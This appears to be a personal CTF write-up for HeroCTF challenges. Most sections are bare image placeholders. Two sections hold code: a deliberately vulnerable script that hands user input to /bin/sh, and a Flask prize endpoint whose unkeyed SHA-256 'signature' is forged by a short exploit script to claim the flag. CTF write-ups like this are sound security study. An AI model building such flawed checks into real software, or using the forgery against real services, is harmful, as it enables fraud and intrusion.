rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF: HEROCTF


image


CHALLENGES:


MISC:

Einstein:

image


image

image

image

image

image


MOO


image

image

image

image

image

image

image


FREE SHELL

image

#!/usr/bin/env python3
import os
import subprocess


print("Welcome to the free shell service!")
print("Your goal is to obtain a shell.")

command = ["/bin/sh",input("Choose param: "),os.urandom(32).hex(),os.urandom(32).hex(),os.urandom(32).hex()]
subprocess.run(command)

image

image

image

image


WEB:


PrYzes:

image

Source code:

from flask import Flask, render_template, request, jsonify

import hashlib
import json
from os import getenv
from datetime import datetime


app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400
#! /usr/bin/env python3
from ten import *
from tenlib.transform import *

@entry
@arg("host","target host")
class Exploit:
    def __init__(self,host: str):
        self.host = host
    #Hash the data with sha256
    @staticmethod
    def compute_sha256(data):
        hash = hashing.sha256(data)
        return hash
    def run(self):
        session = ScopedSession(self.host)
        #A year more than or equal to 2100
        date: str =  "6/10/2100"
        data = {"date":date}
        headers =  {"Content-Type":"application/json","X-Signature":Exploit.compute_sha256(json.encode(data))}
        response =  session.post("/api/prizes",headers=headers,data=json.encode(data)).text
        print(json.decode(response)["message"])

if __name__ == "__main__":
    Exploit()

image